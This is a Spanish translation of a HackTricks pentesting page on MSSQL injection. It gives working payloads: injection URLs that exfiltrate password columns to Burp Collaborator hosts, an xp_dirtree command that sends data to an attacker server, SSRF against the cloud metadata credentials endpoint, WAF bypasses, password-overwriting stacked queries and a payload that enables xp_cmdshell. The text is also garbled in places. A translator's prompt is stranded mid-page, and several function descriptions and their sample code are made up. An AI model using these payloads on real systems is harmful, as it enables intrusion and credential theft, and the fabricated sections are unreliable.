hacktricks/pentesting-web/sql-injection/mssql-injection.md

20 KiB

Inyección de MSSQL

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Enumeración de Active Directory

Es posible enumerar usuarios de dominio a través de una inyección SQL dentro de un servidor MSSQL utilizando las siguientes funciones de MSSQL:

  • SELECT DEFAULT_DOMAIN(): Obtiene el nombre de dominio actual.
  • master.dbo.fn_varbintohexstr(SUSER_SID('DOMINIO\Administrador')): Si conoces el nombre del dominio (DOMINIO en este ejemplo), esta función devolverá el SID del usuario Administrador en formato hexadecimal. Esto se verá como 0x01050000000[...]0000f401, nota cómo los últimos 4 bytes son el número 500 en formato big endian, que es el ID común del usuario administrador.
    Esta función te permitirá conocer el ID del dominio (todos los bytes excepto los últimos 4).
  • SUSER_SNAME(0x01050000000[...]0000e803) : Esta función devolverá el nombre de usuario del ID indicado (si existe), en este caso 0000e803 en big endian == 1000 (normalmente este es el ID del primer usuario regular creado). Luego puedes imaginar que puedes probar fuerza bruta en los IDs de usuario desde 1000 hasta 2000 y probablemente obtener todos los nombres de usuario de los usuarios del dominio. Por ejemplo, utilizando una función como la siguiente:
def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
user = struct.pack('<I', int(n))
user = user.hex()
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000

Vectores alternativos basados en errores

Las inyecciones SQL basadas en errores suelen tener construcciones como +AND+1=@@version-- y variantes basadas en el operador «OR». Las consultas que contienen estas expresiones suelen ser bloqueadas por los WAFs. Como método de bypass, concatena una cadena utilizando el carácter %2b con el resultado de llamadas a funciones específicas que desencadenen un error de conversión de tipo de datos en los datos buscados.

Algunos ejemplos de estas funciones son:

  • SUSER_NAME()
  • USER_NAME()
  • PERMISSIONS()
  • DB_NAME()
  • FILE_NAME()
  • TYPE_NAME()
  • COL_NAME()

Ejemplo de uso de la función USER_NAME():

https://vuln.app/getItem?id=1'%2buser_name(@@version)--

SSRF

fn_xe_file_target_read_file

La función fn_xe_file_target_read_file es vulnerable a una inyección de SQL en Microsoft SQL Server. Esta vulnerabilidad permite a un atacante leer archivos arbitrarios en el sistema de archivos del servidor.

Descripción

La función fn_xe_file_target_read_file se utiliza para leer archivos de destino en el servidor de Microsoft SQL Server. Sin embargo, no se realizan controles adecuados en los parámetros de entrada, lo que permite a un atacante inyectar código SQL malicioso y leer archivos arbitrarios en el sistema de archivos del servidor.

Impacto

Un atacante puede aprovechar esta vulnerabilidad para leer archivos confidenciales en el sistema de archivos del servidor, lo que puede conducir a la divulgación de información sensible o incluso a la ejecución de código malicioso en el servidor.

Ejemplo de explotación

El siguiente ejemplo muestra cómo un atacante puede aprovechar la vulnerabilidad de inyección de SQL en fn_xe_file_target_read_file:

DECLARE @fileContent NVARCHAR(MAX);
DECLARE @filePath NVARCHAR(4000);
SET @filePath = 'C:\Windows\win.ini';
EXECUTE sys.fn_xe_file_target_read_file(@filePath, @fileContent) -- Vulnerable to SQL injection

En este ejemplo, el atacante inyecta una consulta SQL maliciosa en el parámetro @filePath, lo que permite leer el contenido del archivo C:\Windows\win.ini.

Recomendaciones

Para mitigar esta vulnerabilidad, se recomienda seguir las siguientes recomendaciones:

  • Utilizar consultas parametrizadas o procedimientos almacenados en lugar de concatenar directamente los valores de entrada en la consulta SQL.
  • Validar y sanitizar adecuadamente los valores de entrada antes de utilizarlos en consultas SQL.
  • Limitar los privilegios de la cuenta de servicio de SQL Server para reducir el impacto de una posible explotación.

Referencias

https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))

Permisos: Requiere permiso de VIEW SERVER STATE en el servidor.

# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
# Or doing
Use master;
EXEC sp_helprotect 'fn_xe_file_target_read_file';

fn_get_audit_file

La función fn_get_audit_file es una función en Microsoft SQL Server que se utiliza para obtener información de auditoría de archivos. Esta función se utiliza comúnmente en aplicaciones web para recuperar registros de auditoría almacenados en la base de datos.

La función acepta parámetros como el nombre del archivo, la ruta del archivo y el tipo de archivo. Estos parámetros se utilizan para filtrar los resultados y obtener la información específica del archivo de auditoría deseado.

Es importante tener en cuenta que, al utilizar esta función, es necesario asegurarse de que los parámetros proporcionados estén correctamente validados y escapados para evitar posibles ataques de inyección SQL. La inyección SQL es una técnica común utilizada por los hackers para manipular consultas SQL y obtener acceso no autorizado a la base de datos.

Para protegerse contra la inyección SQL al utilizar la función fn_get_audit_file, se recomienda utilizar consultas parametrizadas o funciones de escape de SQL proporcionadas por el lenguaje de programación utilizado en la aplicación web. Esto ayudará a prevenir la ejecución de código malicioso y garantizar la seguridad de la aplicación.

https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))

Permisos: Requiere el permiso CONTROL SERVER.

# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_get_audit_file';

fn_trace_gettabe

La función fn_trace_gettabe es una función interna de Microsoft SQL Server que se utiliza para obtener información de seguimiento de eventos de traza. Esta función se utiliza comúnmente en el contexto de la inyección de SQL para obtener información confidencial de la base de datos.

La función fn_trace_gettabe acepta dos parámetros: @traceid y @options. El parámetro @traceid especifica el identificador de la traza de eventos de seguimiento, mientras que el parámetro @options especifica las opciones de filtrado para los eventos de traza.

Es importante tener en cuenta que el uso de la función fn_trace_gettabe en una inyección de SQL puede ser peligroso, ya que puede revelar información confidencial o permitir la ejecución de comandos maliciosos en la base de datos. Por lo tanto, es fundamental tomar precauciones adecuadas al utilizar esta función y asegurarse de que se implementen medidas de seguridad adecuadas para proteger la base de datos contra ataques de inyección de SQL.

https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))

Permisos: Requiere el permiso CONTROL SERVER.

# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_trace_gettabe';

xp_dirtree, xp_fileexists, xp_subdirs

El método más común para realizar una llamada de red que te encontrarás al usar MSSQL es el uso del Procedimiento Almacenado xp_dirtree, que curiosamente no está documentado por Microsoft, lo que ha llevado a que sea documentado por otras personas en Internet. Este método se ha utilizado en múltiples ejemplos de publicaciones de Exfiltración de Datos Fuera de Banda en Internet.

Básicamente,

DECLARE @user varchar(100);
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\'+@user+'.attacker-server\aa"');

Al igual que LOAD_FILE de MySQL, puedes usar xp_dirtree para hacer una solicitud de red solo al puerto TCP 445. No puedes controlar el número de puerto, pero puedes leer información de recursos compartidos de red.

PD: Esto no funciona en Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64) que se ejecuta en un Windows Server 2016 Datacenter en la configuración predeterminada.

Existen otros procedimientos almacenados como master..xp_fileexist o xp_subdirs que se pueden utilizar para obtener resultados similares.

xp_cmdshell

Obviamente, también puedes usar xp_cmdshell para ejecutar algo que desencadene un SSRF. Para obtener más información, lee la sección relevante en la página:

{% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %} pentesting-mssql-microsoft-sql-server {% endcontent-ref %}

Función definida por el usuario de MSSQL - SQLHttp

Es bastante sencillo escribir una UDF CLR (Función definida por el usuario de tiempo de ejecución común - código escrito con cualquiera de los lenguajes .NET y compilado en un DLL) y cargarlo dentro de MSSQL para funciones personalizadas. Sin embargo, esto requiere acceso dbo por lo que puede que no funcione a menos que la conexión de la aplicación web a la base de datos sea como sa o con un rol de administrador.

Este repositorio de Github tiene el proyecto de Visual Studio y las instrucciones de instalación para cargar el binario en MSSQL como un ensamblado CLR y luego invocar solicitudes GET HTTP desde MSSQL.

El código http.cs utiliza la clase WebClient para hacer una solicitud GET y obtener el contenido según se especifica.

using System.Data.SqlTypes;
using System.Net;

public partial class UserDefinedFunctions
{
[Microsoft.SqlServer.Server.SqlFunction]
public static SqlString http(SqlString url)
{
var wc = new WebClient();
var html = wc.DownloadString(url.Value);
return new SqlString (html);
}
}

En las instrucciones de instalación, ejecuta lo siguiente antes de la consulta CREATE ASSEMBLY para agregar el hash SHA512 de la assembly a la lista de assemblies confiables en el servidor (puedes ver la lista usando select * from sys.trusted_assemblies;)

EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';

Una vez que se haya agregado el ensamblado y creado la función, podemos ejecutar lo siguiente para realizar nuestras solicitudes HTTP.

DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);

Explotación rápida: Obtener una tabla completa en una sola consulta

Existen dos formas sencillas de obtener el contenido completo de una tabla en una sola consulta: el uso de la cláusula FOR XML o la cláusula FOR JSON. La cláusula FOR XML requiere un modo especificado como "raw", por lo que en términos de brevedad FOR JSON es más eficiente.

La consulta para obtener el esquema, las tablas y las columnas de la base de datos actual:

https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--

Los vectores basados en errores necesitan un alias o un nombre, ya que la salida de las expresiones sin ninguno de ellos no se puede formatear como JSON.

https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--

Recuperando la consulta actual

La consulta SQL actual que se está ejecutando se puede recuperar desde el acceso sys.dm_exec_requests y sys.dm_exec_sql_text:

https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null

Permisos: Si el usuario tiene permisos de VIEW SERVER STATE en el servidor, el usuario verá todas las sesiones en ejecución en la instancia de SQL Server; de lo contrario, el usuario solo verá la sesión actual.

# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';

Pequeños trucos para evadir WAF

Caracteres de espacio en blanco no estándar: %C2%85 o %C2%A0:

https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--

Notación científica (0e) y notación hexadecimal (0x) para ofuscar UNION:

https://vuln.app/getItem?id=0eunion+select+null,@@version,null--

https://vuln.app/getItem?id=0xunion+select+null,@@version,null--

Un punto en lugar de un espacio en blanco entre FROM y el nombre de una columna:

https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--

\N separador entre SELECT y una columna desechable:

https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--

Bypass de WAF con consultas apiladas no convencionales

Según esta publicación de blog es posible apilar consultas en MSSQL sin usar ";":

Entonces, por ejemplo, múltiples consultas como:

use [tempdb]
create table [test] ([id] int)
insert [test] values(1)
select [id] from [test]
drop table[test]

El siguiente contenido es de un libro de hacking sobre técnicas de hacking. El siguiente contenido es del archivo pentesting-web/sql-injection/mssql-injection.md. Traduzca el texto relevante al español y devuelva la traducción manteniendo exactamente la misma sintaxis de markdown y html. No traduzca cosas como código, nombres de técnicas de hacking, palabras de hacking, nombres de plataformas en la nube/SaaS (como Workspace, aws, gcp...), la palabra 'leak', pentesting y etiquetas de markdown. Tampoco agregue nada aparte de la traducción y la sintaxis de markdown.

use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]

Por lo tanto, podría ser posible evadir diferentes WAFs que no consideran esta forma de apilar consultas. Por ejemplo:

# Adding a useless exec() at the end and making the WAF think this isn't a valid querie
admina'union select 1,'admin','testtest123'exec('select 1')--
## This will be:
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123'
exec('select 1')--'

# Using weirdly built queries
admin'exec('update[users]set[password]=''a''')--
## This will be:
SELECT id, username, password FROM users WHERE username = 'admin'
exec('update[users]set[password]=''a''')--'

# Or enabling xp_cmdshell
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
## This will be
select * from users where username = ' admin'
exec('sp_configure''show advanced option'',''1''reconfigure')
exec('sp_configure''xp_cmdshell'',''1''reconfigure')--

Referencias

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥